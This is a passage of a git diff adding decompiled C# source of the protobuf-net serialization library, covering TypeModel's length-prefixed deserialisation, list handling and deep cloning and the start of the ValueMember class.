InvalidOperationException("A type must be provided unless base-128 prefixing is being used in combination with a resolver"); + } + long num; + bool flag2; + do + { + bool flag = expectedField > 0 || resolver != null; + num = ProtoReader.ReadLongLengthPrefix(source, flag, style, out var fieldNumber, out var bytesRead2); + if (bytesRead2 == 0) + { + return value; + } + bytesRead += bytesRead2; + if (num < 0) + { + return value; + } + if (style == PrefixStyle.Base128) + { + if (flag && expectedField == 0 && (object)type == null && resolver != null) + { + type = resolver(fieldNumber); + flag2 = (object)type == null; + } + else + { + flag2 = expectedField != fieldNumber; + } + } + else + { + flag2 = false; + } + if (flag2) + { + if (num == long.MaxValue) + { + throw new InvalidOperationException(); + } + ProtoReader.Seek(source, num, null); + bytesRead += num; + } + } + while (flag2); + ProtoReader protoReader = null; + try + { + protoReader = ProtoReader.Create(source, this, context, num); + int key = GetKey(ref type); + if (key >= 0 && !Helpers.IsEnum(type)) + { + value = Deserialize(key, value, protoReader); + } + else if (!TryDeserializeAuxiliaryType(protoReader, DataFormat.Default, 1, type, ref value, skipOtherFields: true, asListItem: false, autoCreate: true, insideList: false, null) && num != 0L) + { + ThrowUnexpectedType(type); + } + bytesRead += protoReader.LongPosition; + haveObject = true; + return value; + } + finally + { + ProtoReader.Recycle(protoReader); + } + } + + public IEnumerable DeserializeItems(Stream source, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver) + { + return DeserializeItems(source, type, style, expectedField, resolver, null); + } + + public IEnumerable DeserializeItems(Stream source, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver, SerializationContext context) + { + return new DeserializeItemsIterator(this, source, type, style, expectedField, resolver, context); + } + + public IEnumerable DeserializeItems(Stream source, PrefixStyle style, int expectedField) + { + return DeserializeItems(source, style, expectedField, null); + } + + public IEnumerable DeserializeItems(Stream source, PrefixStyle style, int expectedField, SerializationContext context) + { + return new DeserializeItemsIterator(this, source, style, expectedField, context); + } + + public void SerializeWithLengthPrefix(Stream dest, object value, Type type, PrefixStyle style, int fieldNumber) + { + SerializeWithLengthPrefix(dest, value, type, style, fieldNumber, null); + } + + public void SerializeWithLengthPrefix(Stream dest, object value, Type type, PrefixStyle style, int fieldNumber, SerializationContext context) + { + if ((object)type == null) + { + if (value == null) + { + throw new ArgumentNullException("value"); + } + type = MapType(value.GetType()); + } + int key = GetKey(ref type); + using ProtoWriter protoWriter = ProtoWriter.Create(dest, this, context); + switch (style) + { + case PrefixStyle.None: + Serialize(key, value, protoWriter); + break; + case PrefixStyle.Base128: + case PrefixStyle.Fixed32: + case PrefixStyle.Fixed32BigEndian: + ProtoWriter.WriteObject(value, key, protoWriter, style, fieldNumber); + break; + default: + throw new ArgumentOutOfRangeException("style"); + } + protoWriter.Close(); + } + + public object Deserialize(Stream source, object value, Type type) + { + return Deserialize(source, value, type, null); + } + + public object Deserialize(Stream source, object value, Type type, SerializationContext context) + { + bool noAutoCreate = PrepareDeserialize(value, ref type); + ProtoReader protoReader = null; + try + { + protoReader = ProtoReader.Create(source, this, context, -1L); + if (value != null) + { + protoReader.SetRootObject(value); + } + object result = DeserializeCore(protoReader, type, value, noAutoCreate); + protoReader.CheckFullyConsumed(); + return result; + } + finally + { + ProtoReader.Recycle(protoReader); + } + } + + private bool PrepareDeserialize(object value, ref Type type) + { + if ((object)type == null) + { + if (value == null) + { + throw new ArgumentNullException("type"); + } + type = MapType(value.GetType()); + } + bool result = true; + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + type = underlyingType; + result = false; + } + return result; + } + + public object Deserialize(Stream source, object value, Type type, int length) + { + return Deserialize(source, value, type, length, null); + } + + public object Deserialize(Stream source, object value, Type type, long length) + { + return Deserialize(source, value, type, length, null); + } + + public object Deserialize(Stream source, object value, Type type, int length, SerializationContext context) + { + return Deserialize(source, value, type, (length == int.MaxValue) ? long.MaxValue : length, context); + } + + public object Deserialize(Stream source, object value, Type type, long length, SerializationContext context) + { + bool noAutoCreate = PrepareDeserialize(value, ref type); + ProtoReader protoReader = null; + try + { + protoReader = ProtoReader.Create(source, this, context, length); + if (value != null) + { + protoReader.SetRootObject(value); + } + object result = DeserializeCore(protoReader, type, value, noAutoCreate); + protoReader.CheckFullyConsumed(); + return result; + } + finally + { + ProtoReader.Recycle(protoReader); + } + } + + public object Deserialize(ProtoReader source, object value, Type type) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + bool noAutoCreate = PrepareDeserialize(value, ref type); + if (value != null) + { + source.SetRootObject(value); + } + object result = DeserializeCore(source, type, value, noAutoCreate); + source.CheckFullyConsumed(); + return result; + } + + private object DeserializeCore(ProtoReader reader, Type type, object value, bool noAutoCreate) + { + int key = GetKey(ref type); + if (key >= 0 && !Helpers.IsEnum(type)) + { + return Deserialize(key, value, reader); + } + TryDeserializeAuxiliaryType(reader, DataFormat.Default, 1, type, ref value, skipOtherFields: true, asListItem: false, noAutoCreate, insideList: false, null); + return value; + } + + internal static MethodInfo ResolveListAdd(TypeModel model, Type listType, Type itemType, out bool isList) + { + isList = model.MapType(ilist).IsAssignableFrom(listType); + Type[] array = new Type[1] { itemType }; + MethodInfo instanceMethod = Helpers.GetInstanceMethod(listType, "Add", array); + if ((object)instanceMethod == null) + { + bool flag = listType.IsInterface && model.MapType(typeof(IEnumerable<>)).MakeGenericType(array).IsAssignableFrom(listType); + Type type = model.MapType(typeof(ICollection<>)).MakeGenericType(array); + if (flag || type.IsAssignableFrom(listType)) + { + instanceMethod = Helpers.GetInstanceMethod(type, "Add", array); + } + } + if ((object)instanceMethod == null) + { + Type[] interfaces = listType.GetInterfaces(); + foreach (Type type2 in interfaces) + { + if (type2.Name == "IProducerConsumerCollection`1" && type2.IsGenericType && type2.GetGenericTypeDefinition().FullName == "System.Collections.Concurrent.IProducerConsumerCollection`1") + { + instanceMethod = Helpers.GetInstanceMethod(type2, "TryAdd", array); + if ((object)instanceMethod != null) + { + break; + } + } + } + } + if ((object)instanceMethod == null) + { + array[0] = model.MapType(typeof(object)); + instanceMethod = Helpers.GetInstanceMethod(listType, "Add", array); + } + if (((object)instanceMethod == null) & isList) + { + instanceMethod = Helpers.GetInstanceMethod(model.MapType(ilist), "Add", array); + } + return instanceMethod; + } + + internal static Type GetListItemType(TypeModel model, Type listType) + { + if ((object)listType == model.MapType(typeof(string)) || listType.IsArray || !model.MapType(typeof(IEnumerable)).IsAssignableFrom(listType)) + { + return null; + } + BasicList basicList = new BasicList(); + MethodInfo[] methods = listType.GetMethods(); + foreach (MethodInfo methodInfo in methods) + { + if (!methodInfo.IsStatic && !(methodInfo.Name != "Add")) + { + ParameterInfo[] parameters = methodInfo.GetParameters(); + Type parameterType; + if (parameters.Length == 1 && !basicList.Contains(parameterType = parameters[0].ParameterType)) + { + basicList.Add(parameterType); + } + } + } + string name = listType.Name; + if (name == null || (name.IndexOf("Queue") < 0 && name.IndexOf("Stack") < 0)) + { + TestEnumerableListPatterns(model, basicList, listType); + Type[] interfaces = listType.GetInterfaces(); + foreach (Type iType in interfaces) + { + TestEnumerableListPatterns(model, basicList, iType); + } + } + PropertyInfo[] properties = listType.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + foreach (PropertyInfo propertyInfo in properties) + { + if (!(propertyInfo.Name != "Item") && !basicList.Contains(propertyInfo.PropertyType)) + { + ParameterInfo[] indexParameters = propertyInfo.GetIndexParameters(); + if (indexParameters.Length == 1 && (object)indexParameters[0].ParameterType == model.MapType(typeof(int))) + { + basicList.Add(propertyInfo.PropertyType); + } + } + } + switch (basicList.Count) + { + case 0: + return null; + case 1: + if ((object)(Type)basicList[0] == listType) + { + return null; + } + return (Type)basicList[0]; + case 2: + if ((object)(Type)basicList[0] != listType && CheckDictionaryAccessors(model, (Type)basicList[0], (Type)basicList[1])) + { + return (Type)basicList[0]; + } + if ((object)(Type)basicList[1] != listType && CheckDictionaryAccessors(model, (Type)basicList[1], (Type)basicList[0])) + { + return (Type)basicList[1]; + } + break; + } + return null; + } + + private static void TestEnumerableListPatterns(TypeModel model, BasicList candidates, Type iType) + { + if (!iType.IsGenericType) + { + return; + } + Type genericTypeDefinition = iType.GetGenericTypeDefinition(); + if ((object)genericTypeDefinition == model.MapType(typeof(IEnumerable<>)) || (object)genericTypeDefinition == model.MapType(typeof(ICollection<>)) || genericTypeDefinition.FullName == "System.Collections.Concurrent.IProducerConsumerCollection`1") + { + Type[] genericArguments = iType.GetGenericArguments(); + if (!candidates.Contains(genericArguments[0])) + { + candidates.Add(genericArguments[0]); + } + } + } + + private static bool CheckDictionaryAccessors(TypeModel model, Type pair, Type value) + { + if (pair.IsGenericType && (object)pair.GetGenericTypeDefinition() == model.MapType(typeof(KeyValuePair<, >))) + { + return (object)pair.GetGenericArguments()[1] == value; + } + return false; + } + + private bool TryDeserializeList(TypeModel model, ProtoReader reader, DataFormat format, int tag, Type listType, Type itemType, ref object value) + { + bool isList; + MethodInfo methodInfo = ResolveListAdd(model, listType, itemType, out isList); + if ((object)methodInfo == null) + { + throw new NotSupportedException("Unknown list variant: " + listType.FullName); + } + bool result = false; + object value2 = null; + IList list = value as IList; + object[] array = (isList ? null : new object[1]); + BasicList basicList = (listType.IsArray ? new BasicList() : null); + while (TryDeserializeAuxiliaryType(reader, format, tag, itemType, ref value2, skipOtherFields: true, asListItem: true, autoCreate: true, insideList: true, value ?? listType)) + { + result = true; + if (value == null && basicList == null) + { + value = CreateListInstance(listType, itemType); + list = value as IList; + } + if (list != null) + { + list.Add(value2); + } + else if (basicList != null) + { + basicList.Add(value2); + } + else + { + array[0] = value2; + methodInfo.Invoke(value, array); + } + value2 = null; + } + if (basicList != null) + { + if (value != null) + { + if (basicList.Count != 0) + { + Array array2 = (Array)value; + Array array3 = Array.CreateInstance(itemType, array2.Length + basicList.Count); + Array.Copy(array2, array3, array2.Length); + basicList.CopyTo(array3, array2.Length); + value = array3; + } + } + else + { + Array array3 = Array.CreateInstance(itemType, basicList.Count); + basicList.CopyTo(array3, 0); + value = array3; + } + } + return result; + } + + private static object CreateListInstance(Type listType, Type itemType) + { + Type type = listType; + if (listType.IsArray) + { + return Array.CreateInstance(itemType, 0); + } + if (!listType.IsClass || listType.IsAbstract || (object)Helpers.GetConstructor(listType, Helpers.EmptyTypes, nonPublic: true) == null) + { + bool flag = false; + string fullName; + if (listType.IsInterface && (fullName = listType.FullName) != null && fullName.IndexOf("Dictionary") >= 0) + { + if (listType.IsGenericType && (object)listType.GetGenericTypeDefinition() == typeof(IDictionary<, >)) + { + Type[] genericArguments = listType.GetGenericArguments(); + type = typeof(Dictionary<, >).MakeGenericType(genericArguments); + flag = true; + } + if (!flag && (object)listType == typeof(IDictionary)) + { + type = typeof(Hashtable); + flag = true; + } + } + if (!flag) + { + type = typeof(List<>).MakeGenericType(itemType); + flag = true; + } + if (!flag) + { + type = typeof(ArrayList); + flag = true; + } + } + return Activator.CreateInstance(type); + } + + internal bool TryDeserializeAuxiliaryType(ProtoReader reader, DataFormat format, int tag, Type type, ref object value, bool skipOtherFields, bool asListItem, bool autoCreate, bool insideList, object parentListOrType) + { + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + Type type2 = null; + ProtoTypeCode typeCode = Helpers.GetTypeCode(type); + int modelKey; + WireType wireType = GetWireType(typeCode, format, ref type, out modelKey); + bool flag = false; + if (wireType == WireType.None) + { + type2 = GetListItemType(this, type); + if ((object)type2 == null && type.IsArray && type.GetArrayRank() == 1 && (object)type != typeof(byte[])) + { + type2 = type.GetElementType(); + } + if ((object)type2 != null) + { + if (insideList) + { + throw CreateNestedListsNotSupported((parentListOrType as Type) ?? parentListOrType?.GetType()); + } + flag = TryDeserializeList(this, reader, format, tag, type, type2, ref value); + if (!flag && autoCreate) + { + value = CreateListInstance(type, type2); + } + return flag; + } + ThrowUnexpectedType(type); + } + while (!(flag && asListItem)) + { + int num = reader.ReadFieldHeader(); + if (num <= 0) + { + break; + } + if (num != tag) + { + if (skipOtherFields) + { + reader.SkipField(); + continue; + } + throw ProtoReader.AddErrorData(new InvalidOperationException("Expected field " + tag + ", but found " + num), reader); + } + flag = true; + reader.Hint(wireType); + if (modelKey >= 0) + { + if ((uint)(wireType - 2) <= 1u) + { + SubItemToken token = ProtoReader.StartSubItem(reader); + value = Deserialize(modelKey, value, reader); + ProtoReader.EndSubItem(token, reader); + } + else + { + value = Deserialize(modelKey, value, reader); + } + continue; + } + switch (typeCode) + { + case ProtoTypeCode.Int16: + value = reader.ReadInt16(); + break; + case ProtoTypeCode.Int32: + value = reader.ReadInt32(); + break; + case ProtoTypeCode.Int64: + value = reader.ReadInt64(); + break; + case ProtoTypeCode.UInt16: + value = reader.ReadUInt16(); + break; + case ProtoTypeCode.UInt32: + value = reader.ReadUInt32(); + break; + case ProtoTypeCode.UInt64: + value = reader.ReadUInt64(); + break; + case ProtoTypeCode.Boolean: + value = reader.ReadBoolean(); + break; + case ProtoTypeCode.SByte: + value = reader.ReadSByte(); + break; + case ProtoTypeCode.Byte: + value = reader.ReadByte(); + break; + case ProtoTypeCode.Char: + value = (char)reader.ReadUInt16(); + break; + case ProtoTypeCode.Double: + value = reader.ReadDouble(); + break; + case ProtoTypeCode.Single: + value = reader.ReadSingle(); + break; + case ProtoTypeCode.DateTime: + value = BclHelpers.ReadDateTime(reader); + break; + case ProtoTypeCode.Decimal: + value = BclHelpers.ReadDecimal(reader); + break; + case ProtoTypeCode.String: + value = reader.ReadString(); + break; + case ProtoTypeCode.ByteArray: + value = ProtoReader.AppendBytes((byte[])value, reader); + break; + case ProtoTypeCode.TimeSpan: + value = BclHelpers.ReadTimeSpan(reader); + break; + case ProtoTypeCode.Guid: + value = BclHelpers.ReadGuid(reader); + break; + case ProtoTypeCode.Uri: + value = new Uri(reader.ReadString(), UriKind.RelativeOrAbsolute); + break; + } + } + if (!flag && !asListItem && autoCreate && (object)type != typeof(string)) + { + value = Activator.CreateInstance(type); + } + return flag; + } + + [Obsolete("Please use RuntimeTypeModel.Create", false)] + public static RuntimeTypeModel Create() + { + return RuntimeTypeModel.Create(); + } + + protected internal static Type ResolveProxies(Type type) + { + if ((object)type == null) + { + return null; + } + if (type.IsGenericParameter) + { + return null; + } + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + return underlyingType; + } + string fullName = type.FullName; + if (fullName != null && fullName.StartsWith("System.Data.Entity.DynamicProxies.")) + { + return type.BaseType; + } + Type[] interfaces = type.GetInterfaces(); + Type[] array = interfaces; + foreach (Type type2 in array) + { + switch (type2.FullName) + { + case "NHibernate.Proxy.INHibernateProxy": + case "NHibernate.Proxy.DynamicProxy.IProxy": + case "NHibernate.Intercept.IFieldInterceptorAccessor": + return type.BaseType; + } + } + return null; + } + + public bool IsDefined(Type type) + { + return GetKey(ref type) >= 0; + } + + protected internal int GetKey(ref Type type) + { + if ((object)type == null) + { + return -1; + } + lock (knownKeys) + { + if (knownKeys.TryGetValue(type, out var value)) + { + type = value.Type; + return value.Key; + } + } + int keyImpl = GetKeyImpl(type); + Type key = type; + if (keyImpl < 0) + { + Type type2 = ResolveProxies(type); + if ((object)type2 != null && (object)type2 != type) + { + type = type2; + keyImpl = GetKeyImpl(type); + } + } + lock (knownKeys) + { + knownKeys[key] = new KnownTypeKey(type, keyImpl); + return keyImpl; + } + } + + internal void ResetKeyCache() + { + lock (knownKeys) + { + knownKeys.Clear(); + } + } + + protected abstract int GetKeyImpl(Type type); + + protected internal abstract void Serialize(int key, object value, ProtoWriter dest); + + protected internal abstract object Deserialize(int key, object value, ProtoReader source); + + public object DeepClone(object value) + { + if (value == null) + { + return null; + } + Type type = value.GetType(); + int key = GetKey(ref type); + if (key >= 0 && !Helpers.IsEnum(type)) + { + using (MemoryStream memoryStream = new MemoryStream()) + { + using (ProtoWriter protoWriter = ProtoWriter.Create(memoryStream, this)) + { + protoWriter.SetRootObject(value); + Serialize(key, value, protoWriter); + protoWriter.Close(); + } + memoryStream.Position = 0L; + ProtoReader protoReader = null; + try + { + protoReader = ProtoReader.Create(memoryStream, this, null, -1L); + return Deserialize(key, null, protoReader); + } + finally + { + ProtoReader.Recycle(protoReader); + } + } + } + if ((object)type == typeof(byte[])) + { + byte[] array = (byte[])value; + byte[] array2 = new byte[array.Length]; + Buffer.BlockCopy(array, 0, array2, 0, array.Length); + return array2; + } + if (GetWireType(Helpers.GetTypeCode(type), DataFormat.Default, ref type, out var modelKey) != WireType.None && modelKey < 0) + { + return value; + } + using MemoryStream memoryStream2 = new MemoryStream(); + using (ProtoWriter protoWriter2 = ProtoWriter.Create(memoryStream2, this)) + { + if (!TrySerializeAuxiliaryType(protoWriter2, type, DataFormat.Default, 1, value, isInsideList: false, null)) + { + ThrowUnexpectedType(type); + } + protoWriter2.Close(); + } + memoryStream2.Position = 0L; + ProtoReader reader = null; + try + { + reader = ProtoReader.Create(memoryStream2, this, null, -1L); + value = null; + TryDeserializeAuxiliaryType(reader, DataFormat.Default, 1, type, ref value, skipOtherFields: true, asListItem: false, autoCreate: true, insideList: false, null); + return value; + } + finally + { + ProtoReader.Recycle(reader); + } + } + + protected internal static void ThrowUnexpectedSubtype(Type expected, Type actual) + { + if ((object)expected != ResolveProxies(actual)) + { + throw new InvalidOperationException("Unexpected sub-type: " + actual.FullName); + } + } + + protected internal static void ThrowUnexpectedType(Type type) + { + string text = (((object)type == null) ? "(unknown)" : type.FullName); + if ((object)type != null) + { + Type baseType = type.BaseType; + if ((object)baseType != null && baseType.IsGenericType && baseType.GetGenericTypeDefinition().Name == "GeneratedMessage`2") + { + throw new InvalidOperationException("Are you mixing protobuf-net and protobuf-csharp-port? See https://stackoverflow.com/q/11564914/23354; type: " + text); + } + } + throw new InvalidOperationException("Type is not expected, and no contract can be inferred: " + text); + } + + internal static Exception CreateNestedListsNotSupported(Type type) + { + return new NotSupportedException("Nested or jagged lists and arrays are not supported: " + (type?.FullName ?? "(null)")); + } + + public static void ThrowCannotCreateInstance(Type type) + { + throw new ProtoException("No parameterless constructor found for " + (type?.FullName ?? "(null)")); + } + + internal static string SerializeType(TypeModel model, Type type) + { + if (model != null) + { + TypeFormatEventHandler typeFormatEventHandler = model.DynamicTypeFormatting; + if (typeFormatEventHandler != null) + { + TypeFormatEventArgs e = new TypeFormatEventArgs(type); + typeFormatEventHandler(model, e); + if (!string.IsNullOrEmpty(e.FormattedName)) + { + return e.FormattedName; + } + } + } + return type.AssemblyQualifiedName; + } + + internal static Type DeserializeType(TypeModel model, string value) + { + if (model != null) + { + TypeFormatEventHandler typeFormatEventHandler = model.DynamicTypeFormatting; + if (typeFormatEventHandler != null) + { + TypeFormatEventArgs e = new TypeFormatEventArgs(value); + typeFormatEventHandler(model, e); + if ((object)e.Type != null) + { + return e.Type; + } + } + } + return Type.GetType(value); + } + + public bool CanSerializeContractType(Type type) + { + return CanSerialize(type, allowBasic: false, allowContract: true, allowLists: true); + } + + public bool CanSerialize(Type type) + { + return CanSerialize(type, allowBasic: true, allowContract: true, allowLists: true); + } + + public bool CanSerializeBasicType(Type type) + { + return CanSerialize(type, allowBasic: true, allowContract: false, allowLists: true); + } + + private bool CanSerialize(Type type, bool allowBasic, bool allowContract, bool allowLists) + { + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + type = underlyingType; + } + ProtoTypeCode typeCode = Helpers.GetTypeCode(type); + if ((uint)typeCode > 1u) + { + return allowBasic; + } + int key = GetKey(ref type); + if (key >= 0) + { + return allowContract; + } + if (allowLists) + { + Type type2 = null; + if (type.IsArray) + { + if (type.GetArrayRank() == 1) + { + type2 = type.GetElementType(); + } + } + else + { + type2 = GetListItemType(this, type); + } + if ((object)type2 != null) + { + return CanSerialize(type2, allowBasic, allowContract, allowLists: false); + } + } + return false; + } + + public virtual string GetSchema(Type type) + { + return GetSchema(type, ProtoSyntax.Proto2); + } + + public virtual string GetSchema(Type type, ProtoSyntax syntax) + { + throw new NotSupportedException(); + } + + public IFormatter CreateFormatter(Type type) + { + return new Formatter(this, type); + } + + internal virtual Type GetType(string fullName, Assembly context) + { + return ResolveKnownType(fullName, this, context); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + internal static Type ResolveKnownType(string name, TypeModel model, Assembly assembly) + { + if (string.IsNullOrEmpty(name)) + { + return null; + } + try + { + Type type = Type.GetType(name); + if ((object)type != null) + { + return type; + } + } + catch + { + } + try + { + int num = name.IndexOf(','); + string name2 = ((num > 0) ? name.Substring(0, num) : name).Trim(); + if ((object)assembly == null) + { + assembly = Assembly.GetCallingAssembly(); + } + Type type2 = assembly?.GetType(name2); + if ((object)type2 != null) + { + return type2; + } + } + catch + { + } + return null; + } + + private static SerializationContext CreateContext(object userState) + { + if (userState == null) + { + return SerializationContext.Default; + } + if (userState is SerializationContext result) + { + return result; + } + SerializationContext serializationContext = new SerializationContext + { + Context = userState + }; + serializationContext.Freeze(); + return serializationContext; + } + + T IProtoInput.Deserialize(Stream source, T value, object userState) + { + return (T)Deserialize(source, value, typeof(T), CreateContext(userState)); + } + + T IProtoInput>.Deserialize(ArraySegment source, T value, object userState) + { + using MemoryStream source2 = new MemoryStream(source.Array, source.Offset, source.Count); + return (T)Deserialize(source2, value, typeof(T), CreateContext(userState)); + } + + T IProtoInput.Deserialize(byte[] source, T value, object userState) + { + using MemoryStream source2 = new MemoryStream(source); + return (T)Deserialize(source2, value, typeof(T), CreateContext(userState)); + } + + void IProtoOutput.Serialize(Stream destination, T value, object userState) + { + Serialize(destination, value, CreateContext(userState)); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/ValueMember.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/ValueMember.cs new file mode 100644 index 0000000..a81a9cc --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/ValueMember.cs @@ -0,0 +1,852 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Globalization; +using System.Reflection; +using ProtoBuf.Serializers; + +namespace ProtoBuf.Meta; + +public class ValueMember +{ + internal sealed class Comparer : IComparer, IComparer + { + public static readonly Comparer Default = new Comparer(); + + public int Compare(object x, object y) + { + return Compare(x as ValueMember, y as ValueMember); + } + + public int Compare(ValueMember x, ValueMember y) + { + if (x == y) + { + return 0; + } + if (x == null) + { + return -1; + } + if (y == null) + { + return 1; + } + return x.FieldNumber.CompareTo(y.FieldNumber); + } + } + + private int _fieldNumber; + + private readonly MemberInfo originalMember; + + private MemberInfo backingMember; + + private readonly Type parentType; + + private readonly Type itemType; + + private readonly Type defaultType; + + private readonly Type memberType; + + private object defaultValue; + + private readonly RuntimeTypeModel model; + + private IProtoSerializer serializer; + + private DataFormat dataFormat; + + private DataFormat mapKeyFormat; + + private DataFormat mapValueFormat; + + private MethodInfo getSpecified; + + private MethodInfo setSpecified; + + private string name; + + private const byte OPTIONS_IsStrict = 1; + + private const byte OPTIONS_IsPacked = 2; + + private const byte OPTIONS_IsRequired = 4; + + private const byte OPTIONS_OverwriteList = 8; + + private const byte OPTIONS_SupportNull = 16; + + private const byte OPTIONS_AsReference = 32; + + private const byte OPTIONS_IsMap = 64; + + private const byte OPTIONS_DynamicType = 128; + + private byte flags; + + public int FieldNumber + { + get + { + return _fieldNumber; + } + internal set + { + if (_fieldNumber != value) + { + MetaType.AssertValidFieldNumber(value); + ThrowIfFrozen(); + _fieldNumber = value; + } + } + } + + public MemberInfo Member => originalMember; + + public MemberInfo BackingMember + { + get + { + return backingMember; + } + set + { + if ((object)backingMember != value) + { + ThrowIfFrozen(); + backingMember = value; + } + } + } + + public Type ItemType => itemType; + + public Type MemberType => memberType; + + public Type DefaultType => defaultType; + + public Type ParentType => parentType; + + public object DefaultValue + { + get + { + return defaultValue; + } + set + { + if (defaultValue != value) + { + ThrowIfFrozen(); + defaultValue = value; + } + } + } + + internal IProtoSerializer Serializer => serializer ?? (serializer = BuildSerializer()); + + public DataFormat DataFormat + { + get + { + return dataFormat; + } + set + { + if (value != dataFormat) + { + ThrowIfFrozen(); + dataFormat = value; + } + } + } + + public bool IsStrict + { + get + { + return HasFlag(1); + } + set + { + SetFlag(1, value, throwIfFrozen: true); + } + } + + public bool IsPacked + { + get + { + return HasFlag(2); + } + set + { + SetFlag(2, value, throwIfFrozen: true); + } + } + + public bool OverwriteList + { + get + { + return HasFlag(8); + } + set + { + SetFlag(8, value, throwIfFrozen: true); + } + } + + public bool IsRequired + { + get + { + return HasFlag(4); + } + set + { + SetFlag(4, value, throwIfFrozen: true); + } + } + + public bool AsReference + { + get + { + return HasFlag(32); + } + set + { + SetFlag(32, value, throwIfFrozen: true); + } + } + + public bool DynamicType + { + get + { + return HasFlag(128); + } + set + { + SetFlag(128, value, throwIfFrozen: true); + } + } + + public bool IsMap + { + get + { + return HasFlag(64); + } + set + { + SetFlag(64, value, throwIfFrozen: true); + } + } + + public DataFormat MapKeyFormat + { + get + { + return mapKeyFormat; + } + set + { + if (mapKeyFormat != value) + { + ThrowIfFrozen(); + mapKeyFormat = value; + } + } + } + + public DataFormat MapValueFormat + { + get + { + return mapValueFormat; + } + set + { + if (mapValueFormat != value) + { + ThrowIfFrozen(); + mapValueFormat = value; + } + } + } + + public string Name + { + get + { + if (!string.IsNullOrEmpty(name)) + { + return name; + } + return originalMember.Name; + } + set + { + SetName(value); + } + } + + public bool SupportNull + { + get + { + return HasFlag(16); + } + set + { + SetFlag(16, value, throwIfFrozen: true); + } + } + + public ValueMember(RuntimeTypeModel model, Type parentType, int fieldNumber, MemberInfo member, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat, object defaultValue) + : this(model, fieldNumber, memberType, itemType, defaultType, dataFormat) + { + if ((object)parentType == null) + { + throw new ArgumentNullException("parentType"); + } + if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + originalMember = member ?? throw new ArgumentNullException("member"); + this.parentType = parentType; + if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + if (defaultValue != null && (object)model.MapType(defaultValue.GetType()) != memberType) + { + defaultValue = ParseDefaultValue(memberType, defaultValue); + } + this.defaultValue = defaultValue; + MetaType metaType = model.FindWithoutAdd(memberType); + if (metaType != null) + { + AsReference = metaType.AsReferenceDefault; + } + else + { + AsReference = MetaType.GetAsReferenceDefault(model, memberType); + } + } + + internal ValueMember(RuntimeTypeModel model, int fieldNumber, Type memberType, Type itemType, Type defaultType, DataFormat dataFormat) + { + _fieldNumber = fieldNumber; + this.memberType = memberType ?? throw new ArgumentNullException("memberType"); + this.itemType = itemType; + this.defaultType = defaultType; + this.model = model ?? throw new ArgumentNullException("model"); + this.dataFormat = dataFormat; + } + + internal object GetRawEnumValue() + { + return ((FieldInfo)originalMember).GetRawConstantValue(); + } + + private static object ParseDefaultValue(Type type, object value) + { + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + type = underlyingType; + } + if (value is string text) + { + if (Helpers.IsEnum(type)) + { + return Helpers.ParseEnum(type, text); + } + switch (Helpers.GetTypeCode(type)) + { + case ProtoTypeCode.Boolean: + return bool.Parse(text); + case ProtoTypeCode.Byte: + return byte.Parse(text, NumberStyles.Integer, CultureInfo.InvariantCulture); + case ProtoTypeCode.Char: + if (text.Length == 1) + { + return text[0]; + } + throw new FormatException("Single character expected: \"" + text + "\""); + case ProtoTypeCode.DateTime: + return DateTime.Parse(text, CultureInfo.InvariantCulture); + case ProtoTypeCode.Decimal: + return decimal.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.Double: + return double.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.Int16: + return short.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.Int32: + return int.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.Int64: + return long.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.SByte: + return sbyte.Parse(text, NumberStyles.Integer, CultureInfo.InvariantCulture); + case ProtoTypeCode.Single: + return float.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.String: + return text; + case ProtoTypeCode.UInt16: + return ushort.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.UInt32: + return uint.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.UInt64: + return ulong.Parse(text, NumberStyles.Any, CultureInfo.InvariantCulture); + case ProtoTypeCode.TimeSpan: + return TimeSpan.Parse(text); + case ProtoTypeCode.Uri: + return text; + case ProtoTypeCode.Guid: + return new Guid(text); + } + } + if (Helpers.IsEnum(type)) + { + return Enum.ToObject(type, value); + } + return Convert.ChangeType(value, type, CultureInfo.InvariantCulture); + } + + public void SetSpecified(MethodInfo getSpecified, MethodInfo setSpecified) + { + if ((object)this.getSpecified != getSpecified || (object)this.setSpecified != setSpecified) + { + if ((object)getSpecified != null && ((object)getSpecified.ReturnType != model.MapType(typeof(bool)) || getSpecified.IsStatic || getSpecified.GetParameters().Length != 0)) + { + throw new ArgumentException("Invalid pattern for checking member-specified", "getSpecified"); + } + ParameterInfo[] parameters; + if ((object)setSpecified != null && ((object)setSpecified.ReturnType != model.MapType(typeof(void)) || setSpecified.IsStatic || (parameters = setSpecified.GetParameters()).Length != 1 || (object)parameters[0].ParameterType != model.MapType(typeof(bool)))) + { + throw new ArgumentException("Invalid pattern for setting member-specified", "setSpecified"); + } + ThrowIfFrozen(); + this.getSpecified = getSpecified; + this.setSpecified = setSpecified; + } + } + + private void ThrowIfFrozen() + { + if 